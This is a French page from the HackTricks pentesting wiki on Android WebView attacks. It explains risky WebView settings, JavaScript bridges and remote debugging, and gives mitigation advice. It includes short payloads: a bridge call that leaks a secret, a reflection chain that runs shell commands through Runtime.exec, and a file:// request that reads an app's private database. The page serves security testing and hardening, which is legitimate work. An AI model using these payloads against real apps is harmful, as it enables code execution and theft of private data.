hacktricks/mobile-pentesting/android-app-pentesting/webview-attacks.md
2023-06-03 13:10:46 +00:00

14 KiB

Configurations Intéressantes

Accès aux fichiers

L'accès aux fichiers de WebView est activé par défaut. Depuis l'API 3 (Cupcake 1.5), la méthode setAllowFileAccess() est disponible pour l'activer ou le désactiver explicitement.
Si l'application a android.permission.READ_EXTERNAL_STORAGE, elle pourra lire et charger des fichiers à partir du stockage externe.
Le WebView doit utiliser un schéma d'URL de fichier, par exemple file://path/file, pour accéder au fichier.

Accès universel à partir d'URL de fichier (obsolète)

Définit si les requêtes cross-origin dans le contexte d'une URL de schéma de fichier doivent être autorisées à accéder à du contenu de n'importe quelle origine. Cela inclut l'accès au contenu d'autres URL de schéma de fichier ou de contextes web. Notez que certains accès tels que les éléments HTML d'image ne suivent pas les règles de même origine et ne sont pas affectés par ce paramètre.

Ne pas activer ce paramètre si vous ouvrez des fichiers qui peuvent être créés ou modifiés par des sources externes. L'activation de ce paramètre permet aux scripts malveillants chargés dans un contexte file:// de lancer des attaques de script intersites, en accédant à des fichiers locaux arbitraires, y compris les cookies WebView, les données privées de l'application ou même les informations d'identification utilisées sur des sites web arbitraires.

En résumé, cela empêchera le chargement d'origines arbitraires. L'application enverra la demande d'URL pour charger le contenu avec Origin: file:// si la réponse n'autorise pas cette origine (Access-Control-Allow-Origin: file://), alors le contenu ne sera pas chargé.
La valeur par défaut est false lors du ciblage de Build.VERSION_CODES.JELLY_BEAN et supérieur.

{% hint style="info" %} En utilisant loadDataWithBaseURL() avec null comme baseURL empêchera également de charger des fichiers locaux même si tous les paramètres dangereux sont activés. {% endhint %}

Accès aux fichiers à partir d'URL de fichier (obsolète)

Définit si les requêtes cross-origin dans le contexte d'une URL de schéma de fichier doivent être autorisées à accéder à du contenu à partir d'autres URL de schéma de fichier. Notez que certains accès tels que les éléments HTML d'image ne suivent pas les règles de même origine et ne sont pas affectés par ce paramètre.

Ne pas activer ce paramètre si vous ouvrez des fichiers qui peuvent être créés ou modifiés par des sources externes. L'activation de ce paramètre permet aux scripts malveillants chargés dans un contexte file:// d'accéder à des fichiers locaux arbitraires, y compris les cookies WebView et les données privées de l'application.

En résumé, cela empêche JavaScript d'accéder aux fichiers locaux via le protocole file://.
Notez que la valeur de ce paramètre est ignorée si la valeur de getAllowUniversalAccessFromFileURLs() est true.
La valeur par défaut est false lors du ciblage de Build.VERSION_CODES.JELLY_BEAN et supérieur.

Accès aux fichiers

Active ou désactive l'accès aux fichiers dans WebView. Notez que cela active ou désactive uniquement l'accès au système de fichiers. Les ressources et les actifs sont toujours accessibles en utilisant file:///android_asset et file:///android_res.

En résumé, si désactivé, le WebView ne pourra pas charger un fichier local avec le protocole file://.
La valeur par défaut est false lors du ciblage de Build.VERSION_CODES.R et supérieur.

WebViewAssetLoader

Classe d'aide pour charger des fichiers locaux, y compris les ressources et les actifs statiques de l'application, en utilisant des URL http(s):// à l'intérieur d'une classe WebView. Le chargement de fichiers locaux à l'aide d'URL de type web au lieu de "file://" est souhaitable car il est compatible avec la politique de même origine.

C'est la nouvelle façon recommandée de charger des fichiers locaux. Le but est d'accéder aux fichiers locaux en utilisant une URL HTTP avec le domaine. De cette façon, la CORS peut être facilement maintenue entre les pages web locales et les pages web téléchargées à partir du serveur web.

Javascript activé

Les WebViews ont Javascript désactivé par défaut. La méthode setJavaScriptEnabled() peut l'activer ou le désactiver explicitement.
Notez que les webviews peuvent également prendre en charge le schéma d'intention qui permet de lancer d'autres applications. Lisez cette analyse pour savoir comment passer de XSS à RCE.

Pont Javascript

Android offre un moyen pour le JavaScript exécuté dans un WebView d'appeler et d'utiliser les fonctions natives d'une application Android (annotées avec @JavascriptInterface) en utilisant la méthode addJavascriptInterface. C'est ce qu'on appelle un WebView JavaScript bridge ou _

//Class with a method to access a secret
public class JavascriptBridge {
    // Since Android 4.2 (JELLY_BEAN_MR1, API 17) methods
    // not annotated with @JavascriptInterface are not visible from JavaScript
    @JavascriptInterface
    public String getSecret() {
        return "SuperSecretPassword";
    };
}
//Enabling Javascript Bridge exposing an object of the JavascriptBridge class
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
<!-- Exploit to get the secret from JavaScript -->
<script>alert(javascriptBridge.getSecret());</script>

Avec l'accès au code JavaScript, par exemple via une attaque XSS stockée, une attaque MITM ou un site web malveillant chargé dans le WebView, il est possible d'appeler directement les méthodes Java exposées.

{% hint style="info" %} Notez que dans le cas où l'on essaie d'exploiter cette vulnérabilité via une redirection ouverte vers une page web d'attaquant qui accède à l'objet Android natif. Si l'accès à la redirection se fait via un navigateur mobile et non en utilisant le même WebView, le navigateur ne pourra pas accéder à l'objet Android natif. {% endhint %}

Si addJavascriptInterface est nécessaire, prenez en compte les considérations suivantes :

  • Seul le JavaScript fourni avec l'APK doit être autorisé à utiliser les ponts, par exemple en vérifiant l'URL sur chaque méthode Java pontée (via WebView.getUrl).
  • Aucun JavaScript ne doit être chargé à partir de points d'extrémité distants, par exemple en maintenant la navigation de la page dans les domaines de l'application et en ouvrant tous les autres domaines sur le navigateur par défaut (par exemple, Chrome, Firefox).
  • Si nécessaire pour des raisons de compatibilité descendante (par exemple, pour prendre en charge les anciens appareils), définissez au moins le niveau d'API minimal sur 17 dans le fichier manifeste de l'application (<uses-sdk android:minSdkVersion="17" />).

Pont JavaScript vers RCE via Reflection

Comme indiqué dans cette recherche (consultez-la pour des idées si vous obtenez une RCE), une fois que vous avez trouvé un pont JavaScript, il est possible d'obtenir une RCE via Reflection en utilisant une charge utile comme celle-ci :

<!-- javascriptBridge is the name of the Android exposed object -->
<script>
function execute(cmd){
  return javascriptBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
</script>

Cependant, les applications modernes peuvent utiliser l'annotation @JavascriptInterface qui indique au JavascriptBridge que seule la méthode avec cette annotation doit être exposée.
Dans ce scénario, vous ne pourrez pas abuser de la réflexion pour exécuter du code arbitraire.

Débogage à distance

Le débogage à distance de WebView permet d'accéder à la WebView avec les outils de développement Chrome.
Le dispositif doit être accessible par le PC (via USB, émulateur local, réseau local...) et exécuter la WebView débogable, puis accéder à chrome://inspect/#devices :

Sélectionnez inspecter et une nouvelle fenêtre s'ouvrira. Dans cette fenêtre, vous pouvez interagir avec le contenu de la WebView et même lui faire exécuter du code JS arbitraire à partir de l'onglet console :

Pour activer le débogage à distance de WebView, vous pouvez faire quelque chose comme :

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
    WebView.setWebContentsDebuggingEnabled(true);
}

Ce paramètre s'applique à tous les WebViews de l'application.

{% hint style="info" %} Le débogage de WebView n'est pas affecté par l'état du drapeau debuggable dans le manifeste de l'application. Si vous voulez activer le débogage de WebView uniquement lorsque debuggable est true, testez le drapeau à l'exécution. {% endhint %}

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
    if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
    { WebView.setWebContentsDebuggingEnabled(true); }
}

Payloads

Exfiltrer des fichiers arbitraires

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState == XMLHttpRequest.DONE) {
        alert(xhr.responseText);
    }
}
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);

Références

{% embed url="https://github.com/authenticationfailure/WheresMyBrowser.Android" %}

{% embed url="https://developer.android.com/reference/android/webkit/WebView" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥